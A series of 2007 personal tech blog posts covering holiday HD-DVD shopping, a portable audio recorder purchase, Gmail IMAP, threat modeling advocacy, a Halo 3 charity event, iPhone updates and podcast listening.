I left and did what all good 'Mericans do at 5:30 a.m. on a Friday. I went to Starbucks and got a latte and an expensive muffin. Then I decided to drive down the street in a city I am completely unfamiliar with (in the dark) and see what other stores/crowds I could find. Not too far away, Circuit City was incredibly freakin' packed. The line went around the back of the building even 30 minutes after they opened, and this was a very large building. I didn't even consider getting in line, but it was a sight to see. Same was true for Best Buy. The line was not as spectacular, but it was equally crazy. At both stores they were well-organized and seemed to have a gameplan in place. Much better than Sears, for sure.

Anyhow, I went back to my dad's house and sat down to finish a good Vince Flynn novel I was almost done reading and spent a couple hours that way, with some more coffee and food. I also got online to see what Costco might have in the way of HD-DVD players, since I know they sell them and I have found Costco over the years to be a great place to shop. Sure enough, they have the "club warehouse" version of the same player that was advertised at Sears, dubbed the HD-D3. And low and behold, once you subtract the in-store discounts, it was pretty much the same freakin' price, and  not just for five hours on that one Friday morning. Plus it comes with a HDMI cable, to boot. So, I jumped back in the car around 10:00 a.m., fired up Google maps and followed the directions to get to the nearest Costco.

Sure enough, there were tons of them stacked up and in stock. I also grabbed a 4GB USB thumb drive for my das for $25 after the coupon, which the guy at the register offered up since I didn't have one with me. That's what I mean about shopping at Costco. Between the prices, the service and the great return policy (which I've rarely had to use but it's great when you need it), it's always a good experience.

Anyhow, in my typical Costco-shopping fashion, I also picked up the entire Mitch Rapp series of paperbacks by Vince Flynn (fun books if you're into the whole CIA fiction novels and stuff like me) at for about $8.00 apiece (great deal), and then headed back to the house. Later we grabbed a HD-DVD copy of Planet Earth from Target (Costco only had the standard DVD version in the store, bummer...) to go along with the new player. My dad hooked it up and we watched some HD and standard DVD content, all of which looks great.

hddvd HD-DVD technology is amazing, especially at 1080 resolution. The HD-D3 outputs at 1080i and looks great on my dad's Sharp LCD he just bought. the standard DVD upscaling done my the Toshiba player looks great, with just a few "jaggies" in sharp diagonal lines showing themselves from time to time. The new James Taylor One Man Band DVD (standard DVD resolution) looked awesome on it. I use the Xbox 360 Elite with the HD-DVD drive at home on my 1080p projector, so I get the full 1080p with my setup and it's truly awesome. The HD-D3 has an ethernet port which we hooked up to dad's LAN, and we easily updated to the newest available firmware via the player's menu system.

So, if you're looking for a great deal on HD-DVD players, there are some terrific deals on the Toshiba models (I also hear the HD-A2 is blowing out for around a hundred bucks some places, wow). Check your local Costco store if you're a member.

And skip Sears. Or if you do go there, just be ready to fight dirty.



Add/Read: Comments [3]
Random Stuff | Tech
Monday, November 26, 2007 6:41:14 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, November 13, 2007

I'm doing more and more audio recording lately, and between a little dictation, some random music recording and more importantly the interview needs for the Internet IT talk show I co-host, I decided to go ahead and purchase my own portable digital recording system and microphones.

ZOOM_H4Note: I'm going to explain what I was looking for and a little bit about why, but before I do that let me cut to the chase and tell you that I bought a Zoom H4 Handy Recorder (lots of details at that link) and a couple Shure Beta 87A microphones with the appropriate cables. The feature set of the H4 turns out to be amazing, and I'm pretty excited about using it. I can also tell you that my early initial tests are quite encouraging quality-wise, but the real test will come over the next several weeks as I go to conferences and other places and get to put the gear through some real-world paces.

I had a number of priorities on my list when I started looking for a recorder. In a perfect world I'd get all of them. Wouldn't a perfect world be nice? Anyhow... The priorities were:

High-priority items

  • High-quality digital audio - Simply put, the fidelity of the recorded sound must be terrific, clean and without distortion, and I have to be able to count on the recording to be properly timed (not compressed or stretched when compared to other recordings from the same session).
  • Ability to use two or more external microphones with phantom power built into the recorder - Depending on the various mics I might throw at it, phantom power may or may not be needed.
  • Digital recording to commonly-used removable media, preferably SD cards - I already have a number of SD cards that I use for various purposes, and my laptop and other equipment all have SD slots, so it just makes sense.
  • Ability to leverage storage above 2GB - If I'm buying SD cards, I want to be able to buy high density, large capacity ones, and many devices are limited to 2GB.
  • Easy to get recorded files to the PC for editing.
  • Uncompressed audio capability and multiple bitrates to choose from.
  • Usability - It needs to make sense to use and I have to be able to set options and use it without earning a graduate degree in the ABC-brand device.
  • Small and portable in size - Ideally the microphones should be the largest part of what I have to carry around.
  • Removable batteries - The industry is rife with stories of devices that have built-in batteries that can't be serviced by the owner, which in my book is over the edge of ridiculous.
  • Runs on AC power as an option.
  • Firmware upgradable - Audio gear is also famous for being buggy, so I want to be able to download new firmware and apply it myself.
  • It has to be under $500.00 or else it's off the list.

Lower-priority items (good- or nice-to-have)

  • A built-in microphone for quick recording and portability would be nice for quick and dirty sessions and open environments (non-interview or -instrument or what have you), but it has to be of high-quality, or else it just doesn't do me any good.
  • Native MP3 recording as an option - if the quality is there, I want to have the option to record in this (compressed) mode since much of the time that's where it will end up, so in some cases it may help save some time and storage space to create native MP3s at a high bitrate.
  • Let me plug it straight into my PC or laptop via USB to move files, ala drag-and-drop.
  • As long as we have USB transfers, powering the device over USB 2.0 would be perfect for all those I'm-out-of-battery moments.
  • Instrument capabilities - I'd like to be able to plug my guitar in and record away, for example.
  • Guitar tuner built in - as long as it's plugged in, why not?
  • Multi-track mode - While we're at it, more than two channels to record on would be nice. I'll record the guitar and then add the vocals or another instrument later. Yeah I know, asking for a lot.
  • One button for really easy - even magical - menus and navigation. I'm thinking about interfaces like you find on the Zune, iPod or even iPhone (I can dream eh?), etc. here -- easy to use and quick to do stuff.
  • And a price under $300.00 would be even better, please (for the recorder only that is, the external mics are going to freakin' be a couple hundred bucks each, I know that).

So, how did I fare? At $243.0, the price was right, so that's a good start. The Zoom H4 meets almost all the requirements on my list (which is why I bought it), with a couple notable exceptions. The navigation and controls are not exactly simple (which is ironic since they call it their "handy recorder"), as you have to juggle a jog wheel with one hand and a directional button control with the other to establish your settings and navigate the menu. The screen is small, very small.

But, the latest upgrade of the H4 software (v2.0 which I had to download and apply to my new device as it was just recently released) makes some improvements to the readability of the screen, plus it does things like add support for the larger SD-HC cards up to 8GB (yay!) and a variety of other improvements as well as some cool new features. There have been five updates to the H4 software released over about the last year providing fixes and enhancements, which shows they're seriously improving as they go - a good sign.

My first experience recording with the H4 was a good one. We recorded two live shows for RunAs Radio at the Microsoft Dev Connections conference. I found a problem though when I tried to use my new microphones and cables. I had bought XLR-to-1/4 inch phono cables, not paying close enough attention to the jacks on the Zoom recorder, which can take either 1/4 inch or XLR on a combo socket. The problem is that the only way the recorder's phantom power works is if you plug in an XLR connection - There is no phantom power available when you plug in a 1/4-inch jack. So, I had to replace the cables I bought with the ones I need.

I've used the recorder in some test scenarios as well as in one formal, must-work recording session, and it performed very well. I've also just arrived in Barcelona, Spain for TechEd Europe, where I'll be recording a number of interviews. So, after this week I will be able to do a hands-on review. So far, so good, and I anticipate the same results after using the H4 as a production recorder.



Add/Read: Comments [4]
AudioBlogging | Tech
Tuesday, November 13, 2007 2:47:56 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, November 06, 2007

People just don't think, research or plug in their brains a lot of the time before speaking typing.

Such was the case the other day over at Kim Cameron's Identity Weblog, which was defaced recently via a  vulnerability in the blog application software used to drive the site. Kim is a Microsoft employee and is their Identity Architect. So, he's in a public-facing security role at the company.

As Kim points out, people came out of the woodwork in the comments on a very brief ZDNet article to slam Microsoft, it's applications, the fact that the site was hacked, etc. What they did not realize, even after it was pointed out to them a few times by others, is that the site runs on a BAMP architecture (similar to LAMP, but in this case it's BSD Unix, Apache, mySQL and PHP).

Kim's site runs 100% on non-Microsoft products. The vitriolic commenters on the ZDNet site slammed Microsoft technologies where none exist, and exuded the virtues of using - for example - Linux, Apache, mySQL and PHP -- the very platform that they did not take the time to discover (or even ask) had just been victimized.

You know what they say about assuming things? Yeah.

Security threats are real and exist on all platforms equally, not just IIS and Windows, not just in Windows applications. Bad programmers are bad programmers, and even when well-programmed, new threats arise all the time and need to be remediated once known. There's nothing about that fact that's Microsoft-specific, and to assume such is irresponsible.

I like and respect Kim, and the work he has done is excellent. His evangelism of the need for better forms of identification, authentication and credentialing has been invaluable, and his emphasis on the broad-spectrum community, not just Microsoft, is the right way to address the issues that cross all platforms and application types.

I have seen this non-thinking, just-fire-off-at-the-mouth, *nix-fixes-everything mentality backfire on people before, to great cost. Any system administrator who thinks running anything other than Windows solves their security problems or obviates the need to test, patch, review and maintain has his or her head stuck so far in the sand we have to strain to see their backside. Thinking and reasoning is what makes people special and unique. Take the time to know the facts, understand the circumstances, and reason based in reality.

Facts: Problems exist everywhere - Windows, Linux, OSX, PHP, ASP.NET, you name it. More often than being caused by an underlying platform issue, most security vulnerabilities and exploits are the result of programming errors, a lack of defensive programming style, and poor test coverage. I've managed enough software development with a specific focus on security of the applications to know you can create a completely locked down platform on any of the options available, whether Linux or Windows or other. But if you don't have a solid application, you're screwed. It's a lot like buying a great alarm system with laser detectors in the ceiling, trip wires on the roof, foot-think ceilings of concrete to prevent break-through, glass break sensors on explosive- and projectile-proof glass ... and leaving the front door standing open.

Kudos to Kim for keeping his cool personality in the face of all this and, as always, providing a measured and reasoned response. As he says, "There’s a lot of ideology to get past in teaching people about security." So true.



Add/Read: Comments [3]
IT Security | Tech
Tuesday, November 06, 2007 10:17:40 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, October 28, 2007

November will be a busy month of conference travel for me. On November 7th I'll fly briefly to Las Vegas for a quick panel gig at the DevConnections conference (I'll be there Wednesday afternoon and all day Thursday), followed by a more extensive trip on Saturday the 10th to Barcelona, Spain. I'll be there for the entire IT Forum week of Microsoft's TechEd Europe conference. I've never been to Spain before, so I'm looking forward to the trip.

If you'll be at either of the shows, let me know and hopefully we can meet up and say hi. I'll be there in part to help run some floor events and to record more interesting interviews for our RunAs Radio shows.

I'm also going to stop off in the SF bay area on my way back from Spain to spend Thanksgiving with my dad and family there. By the time I get home it will have been two weeks on the road.



Add/Read: Comments [3]
RunAs Radio | Tech
Sunday, October 28, 2007 10:33:15 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, October 26, 2007

There's been a slight lack of specific information about the actual Gmail IMAP rollout timeframes (the phrase being thrown around - "a few days" - is sufficiently vague, yet it tends to make one think of the number "three"), as well as a lack of information about Google Apps email service and IMAP on that system (as opposed to the generic Gmail platform). Some people already have IMAP enabled. I don't yet. I'm a little bummed, but I know how these massive rollouts for a system this size can be. They don't just happen automagically. So I exercise patience and use this time to drive myself nuts, heh.

Anyhow, I went looking for some specifics over at the Google Help site today, and found some new content in the Apps for Administrators specific help, as well as a linked description of how long it may be before I see it show up in my Apps email accounts:

We're working hard to roll out IMAP access to all our users, but it'll take about a week.

To use IMAP, you must have your interface language set to 'English (US)'. You'll know that IMAP is available in your account when the Forwarding and POP tab in your settings becomes Forwarding and POP/IMAP.

Until then, thanks for your patience!

There's a variety of other IMAP Setup related topics there as well. And you'll want to check out these third-party resources for some details in configuring things like iPhone and Thunderbird (or any client, really) so it works just the way you want it to:

So, within less than a week it sounds like, and I have the info I need to optimize my clients when it does happen. Nice - that helps. :)



Add/Read: Comments [6]
Mobile | Tech
Friday, October 26, 2007 1:53:06 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Looks like you can now (finally) link multiple Windows Live IDs together. You may also know them as your passport login addresses (Microsoft did a name change a while back).

If you have a Windows Live ID that you use for work and one that you use at home, you can link them so that you only have to sign in to Windows Live once to manage all of your accounts. When you link more than one Windows Live ID, you can sign in to a Windows Live site or service with one account and still have access to information related to the linked accounts.

Go to http://account.live.com and log in with your Live ID that you use primarily. You'll see a screen like the one below (click to enlarge the image):

     image

Once you click the link to link your LiveIDs, you'll be asked to provide the necessary information, and one more click 'til you're all set:

     image

Once linked, you can choose which LiveID you want to use on site with a switcher-link, like this one:

      image

Nice stuff. Now I can switch between my LiveIDs without going through the pain on signing in and out all the time.



Add/Read: Comments [0]
Tech
Friday, October 26, 2007 10:33:37 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, October 24, 2007

For as long as Gmail has been around, The People have asked for IMAP (Internet Message Access Protocol) access to their accounts. Today, that time has come.

Google has announced they are rolling out IMAP across all Gmail accounts over the next few days. What does that mean? It's well-explained on the Gmail blog, right here. A little bird let me know this morning in IM. I really need to stop sleeping in so I can be the first to know every now and then, heh.

Ars technica has a good post explaining IMAP to the layperson and outlining the Gmail situation.

Now comes my big question: Is IMAP functionality also being rolled out to users of Google Apps mail (which is basically Gmail and other Google apps that you can use with @yourdomain.com)? I hope so, since that's they way I use their stuff. In the past Google's typical approach has been to enable new stuff on Gmail before rolling it out to Apps users. I've seen some people this morning claiming it's showing up here and there in apps accounts, but the people saying it are not actually mail for apps users, so grain-of-salt in my book. If you have a Google Mail for Apps setup, is IMAP an option for you yet?

If IMAP in Apps accounts happens (I am sure it will), my iPhone will get changed from POP to IMAP immediately (finally no more tedious deleting and marking as read), and Outlook 2007 or Thunderbird might just get resurrected. Fingers crossed!

Links:



Add/Read: Comments [3]
Tech
Wednesday, October 24, 2007 9:20:29 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, October 18, 2007

I didn't realize this site actually existed until now. The Microsoft Developer Network's Beginner Developer Learning Center, located at http://msdn.microsoft.com/vstudio/express/beginner/, looks to be a useful resource for people wanting to get a start in software development. The site has two "tracks" available: Web development and Windows app development, using the Express versions of Visual Studio.

Welcome to the Beginner Developer Learning Center - a centralized learning environment specifically targeted to beginning programmers. Here you'll find a rich array of learning content that starts with the very basics, and guides you through step-by-step to becoming a fully-fledged developer!

No experience or programming knowledge required - so dive right in!

So, hey kids - Go get learning!



Add/Read: Comments [0]
Tech
Thursday, October 18, 2007 5:22:16 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

While I won't be able to attend myself (since I will be at TechEd in Spain at the time), the Seattle Code Camp is set to take place November 17th and 18th in Redmond. Anyone interested in presenting or attending (it's free!) can go to seattle.codecamp.us for more information and to get signed up.

Code Camp is a new type of community event where developers talk with—and learn from—fellow developers. All are welcome to attend and speak.

Code Camps are (1) by and for the developer community; (2) always free; (3) community developed material; (4) no fluff – only code; (5) community ownership; and (6) never occur during working hours.



Add/Read: Comments [1]
Tech
Thursday, October 18, 2007 12:23:07 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 16, 2007

Recently I have been working on writing a set of practices for taking the IT Help Desk to the next level. Well, actually it's about fixing what's broken and reworking the people, processes and technology components in order to be a great, service-oriented help desk with happy customers and happy, motivated employees. And yes, it is possible to have it all.

At any rate, I read this blog entry by Tim Heuer recently, and it illustrates well the common problem with IT support processes. Read and weep.

When you read something like that and both laugh and cringe (mostly cringe in my case), it makes you think.

ITIL, COBIT, and everything else standards-based aside, there's a whole slew of internal motivations and behaviors common to IT organizations and customers, yet not really addressed by standards, that can make or break the success of your service desk and organization. Having processes and checklists in place is great, but what makes for a really great IT organization? What makes someone a great help desk customer?

You never get perfect (on either side of the desk). But you can run a practice that is measurably successful and does more than maintain status quo (not always a good thing, by the way) and just get the job done.

What are some of your help desk stories, good or bad? What have you seen that works? For all that is decent and tactful, please don't disclose your employers, any people or specific teams here (or they'll be deleted). But some illustrations would be great. Just be nice. :)



Add/Read: Comments [3]
Management | Tech
Tuesday, October 16, 2007 3:01:07 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Adam Shostack of Microsoft takes a critical look at threat modeling and changes to TM processes in a short series of posts on the MSDN Security Development Lifecycle (SDL) blog. It's a good read, especially when aligned with Larry Osterman's recent writings (which I mentioned recently) and those of others. If you're not a reader of the SDL blog and you're a security person or developer, I recommend it highly, by the way.

"In this first post of a series on threat modeling, I’m going to talk a lot about problems we had in the past. In the next posts, I’ll talk about what the process looks like today, and why we’ve made the changes we’ve made. I want to be really clear that I’m not critiquing the people who have been threat modeling, or their work. A lot of people have put a tremendous amount of work in, and gotten some good results. There are all sorts of issues that our customers will never experience because of that work. I am critiquing the processes, saying we can do better, in places we are doing better, and I intend to ensure we continue to do better."

Here's quick links to the blog articles by Adam. Those interested in secure development need to know and use a threat modeling process, and a critical view of said processes is important, so it's good to see this healthy example:

(also via Michael Howard's blog, which is a must-read security resource, too)



Add/Read: Comments [1]
IT Security | Tech
Tuesday, October 16, 2007 8:06:07 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, October 11, 2007

widows_home_server_logo Windows Home Server, a way-cool implementation of the operating system that lets you easily create a flexible and remotely-accessible storage point, is now available for purchase on newegg.com. The price (as of the time of this posting) is $189.99, and it's worth every penny.

What is Windows Home Server? In a few short words... Backups, share and access files, easy setup (simpler than a VCR to use) and you just add drives to grow over time. Plus there's a bunch of cool add-on's already available. If you're a Windows geek, it's based on Windows 2003 server, so adapt away!

First of all, you should read a few of the reviews on the newegg page. They accurately and effectively describe the high points (and the remarkably few lower points) of the product. And here is a marketing description of the product that hits the basics:

Windows Home Server helps you pull together and protect all your family's files in a single, central location that makes sharing easy.

Protect the things you care about
Keep all those digital memories safe for future generations with features like automatic daily backups and full system restore.

Connect with your friends and family
Share your photos, music, movies, and other files from a single, central location that everyone in your home can get to. Friends and family can see and share any files you want, whether they're in another room or another country.

Organize everything all in one place
This smart hub helps your family organize all your shared files in one place. Windows Home Server cuts down on clutter and brings order to digital chaos.

Grow into the future
You can add more space easily whenever you need it, so no more hard choices about what to keep and what to delete. And new products and services will be added as Windows Home Server keeps growing and getting better.



Add/Read: Comments [6]
Tech
Thursday, October 11, 2007 6:20:19 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Jason Cross hits the nail on the head. It's not the hardware, it's not the software, it's not even the company. It's something else completely.

Bad apples (pun intended) can truly spoil the barrel.

I have to say, based on my own experiences and as a Mac user since the very first one came out (yes, that one) when I was a kid, I agree with Jason's points. Well-said and fairly-put.

Now you go read it. Someone needs to say these things, and Jason did. Good for him.



Add/Read: Comments [3]
Random Stuff | Tech | Things that Suck
Thursday, October 11, 2007 5:56:25 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 09, 2007

master_chief2 Attention all Portland, Oregon and Vancouver, Washington area peoples:

Drop everything, sign up right now (see details below), and meet me to play HALO 3 on two 50-foot ultra-hi-def video movie screens this Thursday (October 11th) at 7:00 p.m. just across from the Portland Airport in Vancouver at Cinetopia. Why? Because it will be the ULTIMATE Halo 3 event.

And you're guaranteed a win, because I will be there. Bonus. Heh.

YOU GET TO PLAY HALO 3 on two 50-foot ultra-hi-def video movie screens (like double 1080p resolution, beautifully up-scaled by some super-fancy equipment to make for an awesome image) and an awesome theater setting, reserved just for us - and the proceeds benefit the fight against diabetes. What more can you ask for?

Your donation of $25 (or more) at the door or will go straight to the America Diabetes Association. You can also pre-donate online and bring your printed donation receipt to the door. There's room for 120 people, so register today to save your seat(s)!

Click to donate!ALSO -- The first 10 people who let me know (in the comments and/or via email) that they have signed up (details of which are below) because they read it here - and then show up to play - will have their $25 donation matched by me. So let's make this happen! It's for a great cause and will be tons of fun.

And blog about this on your own site if you have one. Spread the word!

You need to sign up ahead of time so seats can be counted - so please do it now!

Here are the details:

  • When:  Thursday evening, October 11th, 7:00-Midnight (and yes, you can leave earlier if you want or have to, it's not Hotel California or anything)
  • Where:  Cinetopia - here's a map and their web site
  • Who:  Due to the content and whatnot, 18 and older, please
  • Register for this event at http://iammasterchief.com/ with the RSVP code "FIGHTDIABETES" (and just ignore the fact that the date there is wrong, and you won't get an email confirmation - if you see the PDX event after signing up, you're good to go)
  • You can donate online and bring your web receipt, or donate at the door (but either way, please sign up at the link above)

You can also read more about this event on Rich and Scott's blogs. Proceeds benefit the American Diabetes Association (and Scott explains that quite well).

Business sponsors of the event include: Aivea, Robert Half Technology, Microsoft, the Portland Area .NET Users Group (PADNUG), the Software Association of Oregon, of course Cinetopia and others. A special thank-you goes out to all of them!



Add/Read: Comments [25]
Geek Out | Helping Others | Random Stuff | Tech
Tuesday, October 09, 2007 9:30:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, October 02, 2007

I've worked in the financial services software industry for years. For the last couple years I ran the security division of a major online-banking software and services provider. Security is paramount in that market. The responsibility that goes along with the role is huge, but it's a responsibility that's shared by everyone involved. Taking security seriously can't be something that happens after the work is done, and it can't just happen at some milestone point in a project. It needs to be an ingrained principle, part of the way things are done from beginning to end.

Threat modeling, loosely-described, is a design process by which you examine your software application design through the eyes of the bad guys, in order to determine what your design needs to take into consideration and how it should be built to protect against malicious threats. From the design phase you take your documented threat model into development and use it as a living document throughout the development lifecycle. Or at least that's how we did it.

Larry Osterman, who's worked at Microsoft pretty much forever, is a pro when it comes to threat modeling and secure coding. I haven't ever met Larry, but I've read his thoughts on the topic and they're solid. He's written before a couple times about this, and more recently (over the past month) he wrote and posted a series of excellent articles on his blog about threat modeling at Microsoft in the Windows division. If you're into this sort of thing, as I am, it's also very interesting to look back at his articles from the earlier years and to compare how they do things today. They've matured quite a bit.

I'll leave the narrative and examples to Larry, but let me add this by way of punctuation: Threat modeling takes some time and effort, but understand that security is a critical component of quality. Reputations (and therefore businesses) depend on it. It takes a very intentional process to properly understand the landscape and to look at all the threats and vectors of attack. It's not easy for people to shift gears. Most developers spend all their time thinking in terms of getting software to function according to customer requirements. Just as important is making sure it won't do what the bad guys want it to do. So, if you're ready to argue that you don't have time to do threat modeling, I have a solid argument (several of them really, which are backed up by real-world proof) that you can't afford not to. Threat modeling is risk management for the software industry.

And then there's the very-real side benefit of threat modeling. When your designers and developers sit down before building the product and really start to think about all aspects of quality in a formal, documented manner, you don't just get security improvements. They'll be seeing and thinking about general product improvements that you just won't get otherwise. I can't tell you how many times someone has come to me during a threat modeling process with a look of glee in their eyes, excited to tell me "hey this threat modeling stuff is pretty cool, and we even came up with some other stuff that isn't strictly security-related but will make it a much better product. I'm glad we did this."

The rule of the game is strategic thought, proper defense, quality first, and better software done faster that costs less. And it can happen if you let it.

If you're a software developer, tester or product manger and you don't know what threat modeling is and how it works, you're missing out on something that really should be required in this day and age. So here is what you should do:

  1. Read Larry's articles, they're quite good.
  2. Buy three books (you'll notice Michael Howard is an author on them all):
  3. Be a leader and implement what you learn.


Add/Read: Comments [1]
IT Security | Tech
Tuesday, October 02, 2007 7:17:50 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, October 01, 2007

Update: Engadget has the details of the formal release today.

Looks like this Tuesday in Redmond will be Zune 2 day. I've been curious what they'll come up with for the next-generation device. I don't own one yet. Several friends of mine do. It's a nice device which (for me) has a couple imposed limitations that make it not as useful for me.

Rumors floating around about Zune 2 include a flash-based memory design (instead of hard drives), thinner case and WiFi integration (but we'll see if it's the classic Zune hobbled WiFi or something more useful). Also, word is there will be a new community site for Zune users announced.

For my part, I hope there's some revolution in the announcement, not just evolutionary changes. That might catch my wallet's interest.

via BetaNews



Add/Read: Comments [2]
Tech
Monday, October 01, 2007 10:36:21 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, September 27, 2007

iTunes (and my friend John) reports that v1.1.1 of the iPhone software is available. Since I have third party apps installed, I am hesitant to install it just yet. My phone has not been unlocked carrier-wise, but app-tap is on there.

I think I will wait a little while and see what people have to say. No point being the guinea pig on this one. :)

UPDATE: I was able to update my app-tap-modified iPhone to v1.1.1 without a restore required, no problems. Of course, I no longer have any third-party apps on the device, so I will be looking for updates there in the next few days.

Where to look in early moments to see what works and doesn't? Well, Engadget is such a great place...

mcg @ Sep 27th 2007 2:14PM
What the hell, I'm trying it now. I haven't unlocked my SIM but I have AppTapp installed and a number of applications, including SummerBoard. I'll let you know how it goes. 

Ben Kreeger @ Sep 27th 2007 2:16PM
Yes, please let me know what happens; I've got AppTapp installed.

mcg @ Sep 27th 2007 2:19PM
Oops, it's probably best that I reply to my original post. I got the dreaded "unknown error" when attempting to install the software right off the bat. Maybe undoing jailbreak would have averted that problem, but what's done is done. Now I am having to use the iTunes Restore Phone feature. Looks like I'll be losing my apps and my data. No big deal to me, really, but beware. I'll post again when I'm up and running with 1.1.1.

mcg @ Sep 27th 2007 2:25PM
Now I'm back in action. Lost apps and data. Had to reenter my voicemail password.

Interestingly, I have a new icon next to the standard BlueTooth blue icon---it's in the shape of my bluetooth headset. Looks to be a batter meter. Nice.

mcg @ Sep 27th 2007 2:27PM
Now I'm syncing my photos, music, calendar, etc. It's going to take awhile, so I'll wrap it up here. Bottom line, if you've done a jailbreak, be prepared to start from scratch. It would be nice if someone could un-jailbreak the phone and see if that prevents us from having to reinstall everything.



Add/Read: Comments [1]
Mobile | Tech
Thursday, September 27, 2007 10:09:07 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Arjan Zuidhof, a .NET software engineer in the Netherlands comments briefly on his linkblog regarding our recent podcast show and interview about being a DBA:

"When was the last time *you* listened to a podcast? Honestly? One of the things I know I should do more, but, ahh, the lack of time is standing in the way. Still, learning how to be a better DBA is definitely a healthy career path if you don't know where to go..."

That got me thinking. Arjan's point seems to be consistent with those of many others, and truthfully I have to include myself in that list of people who have found podcast consumption to be too hard from time to time. I have found myself wondering aloud and to myself how in the world anyone can possibly  get the technology to work seamlessly, find and organize podcasts, have them in a place where they can be consumed, and still find the time to actually listen to them.

And then there's the whole (somewhat true) problem I refer to as the "most-podcasts-suck" phenomenon. It can be painful and a bit of work to find a good show, let alone stick with it.

But some of the best learning I have done over the past year or two has been from podcasts, so I can tell you there is a tangible benefit. I listen to a total of maybe 6 or 7 podcasts, and I listen whenever I find I have the time. I don't listen to every episode in its entirety, either - it has to keep my interest. I also don't plan it all out or have a podcast listening schedule. And I have found that's important for me if I am going to be part of the podcast "listernership."

The first thing I had to do was to have a set of tools that make it possible to listen without having to think about it. Here are the tools that I have found actually make it possible, in my real world:

  1. iTunes - Love it or hate it, the fact of the matter is, iTunes makes subscribing to and consuming podcasts freakin' easy. And on top of that, you get show ratings, the podcast directory on the iTunes store, and a lot more. Plus, when you consider that the producers of a podcast have to work to get their show into iTunes, it's raises the bar slightly and as a result the signal to noise ratio is a little lower.
  2. The Mac Mini on my kitchen counter - With some compact speakers and the iTunes client running on it, I just load the Added recently playlist and listen. Obviously, this could be a Windows machine or whatever. The point is, in the space where you spend your time, it's good to have the ability to let stuff play in the background, and your primary iTunes subscription point show be there.
  3. iPod (or iPhone in my case) - The thing that matters the most here is that you need to have it with you all the time. Truth be told, my iPod saw so little use day-to-day that I seriously consider that particular purchase to be a waste of money. I have a friend who has actually used it much more than me. But the iPhone, on the other hand, goes everywhere with me. As a result, the iPod content on the phone actually gets listened to. I cannot overemphasize the importance of this point: Listening needs to be something you just do. The planning part should be limited to the discovery of and subscription to content. After that, the whole idea is to focus energy on the shows, not the delivery mechanism. Else you'll find yourself frustrates and giving up. And that's, well, pointless.

I'm a Windows and Wintel guy primarily, so you might be surprised to see the glaring consistency in manufacturer above. Get over it, I did. And it works. That's what matters. 

My point here is this: The time it takes to actually listen to podcasts is often confused and munged with the time it takes to be able to listen to podcasts. I'm not saying that Arjan's situation is specifically that, but rather his comments caused me to think through some common frustrations based on my own experience and the experiences of others.

I've heard many people say they just can't find the time for it. I know I certainly get frustrated with shows that ramble on and on and present nothing useful. That's why - for example - Scott Hanselman's excellent Hanselminutes podcast is intentionally compact and focused on a specific audience, and it's why we work hard to keep RunAs Radio around 30 minutes per show and focused on topics for IT professionals.

What I've found is that if you can work out the technology part of things, and then be willing to spend a little bit of time here and there glancing at recommendations made by others and which fill your own interests, you can learn and consume a lot of good stuff in the "between" time (and still have time left over for other stuff).

For those who roll their eyes and doubt, here's my "preachy" thought for the moment - for what it's worth: If your schedule won't allow you to listen to a podcast every week or two (and this statement is coming from a true workaholic, people) you might want/need to take a hard look at your schedule and figure out what's wrong with it. Missing out on good information, whether it be written or recorded or what have you, is an unfortunate and damning side effect of too-much-ness. We all got to where we are today by learning, and stopping now really isn't an option - unless our goals are to slide backward and relegate ourselves to being second-best. There should be time for family and friends, time for yourself, and then time for work.

Anyhow, a special thanks to Arjan for making me think. :)

Do you listen to podcasts? Or do you find you can't? Why or why not? What is the one thing podcast producers could do today that would make a real difference to you, the kind of difference that would make it really worthwhile for you to spend some time with them?

Ready? Discuss!



Add/Read: Comments [8]
AudioBlogging | Random Stuff | Tech
Thursday, September 27, 2007 7:04:35 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, September 25, 2007

We had an opportunity recently to speak with Trey Johnson, Chief Business Intelligence Architect at Cizer, about the current state of BI in the industry and some of the new technologies available on the Microsoft side of things. We also touched on what business intelligence means these days and some of the things IT professionals need to be thinking about when contemplating a BI project.

RunAs Radio Show #25 - 9/26/2007 (31 minutes)
Trey Johnson Helps Us Get Business Intelligence

Richard and Greg talk to Trey Johnson from Cizer about Microsoft's Business Intelligence offerings. The product line up from Microsoft is expanding beyond SQL Server, Analysis Services and Excel to include Microsoft Office Sharepoint Services, the new PerformancePoint Server and ProClarity Analysis Tools.

One thing's for sure: If you don't have your ducks truly in a row before you start, a poorly-planned BI project can be a money pit of enormous size. But it's not all that complicated to do it well. It just takes a careful approach, the proper people and a set of well-defined and complete requirements. Trey helps us get a handle on the current state of affairs.



Add/Read: Comments [0]
RunAs Radio | Tech
Tuesday, September 25, 2007 9:25:20 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Over time I've had the opportunity to write a pretty significant number of blog entries. Some of those are technical in nature and try to describe how to do something specific on your computer. But truth be told, there have been many times when I wanted to do a weblog post but didn't because quite frankly it would have been too much work (for both of us) to explain how to do whatever it was in text form.

I've often considered doing screencasts in those cases, and I've even jumped in and done a couple here and there, but until recently it has not been something I have really tackled in most cases. I've used them at work (with substantial success), but not on the blog.

allc_bigbox Just last week I wrote a post about the Windows Internet Time servers that Microsoft uses for its defaults being inoperable. I considered making a video screencast showing how to change your Internet time settings, but since I was not set up with the proper software and I have not been very happy with much of the software I have used for that purpose in the past, I just typed it up. Shortly after that post, I saw and entered a little online contest to win a copy of some screen capturing software called ALLCapture. Turns out I was one of the winners of the contest. So, this morning I downloaded the software and decided to put it to a real-world test.

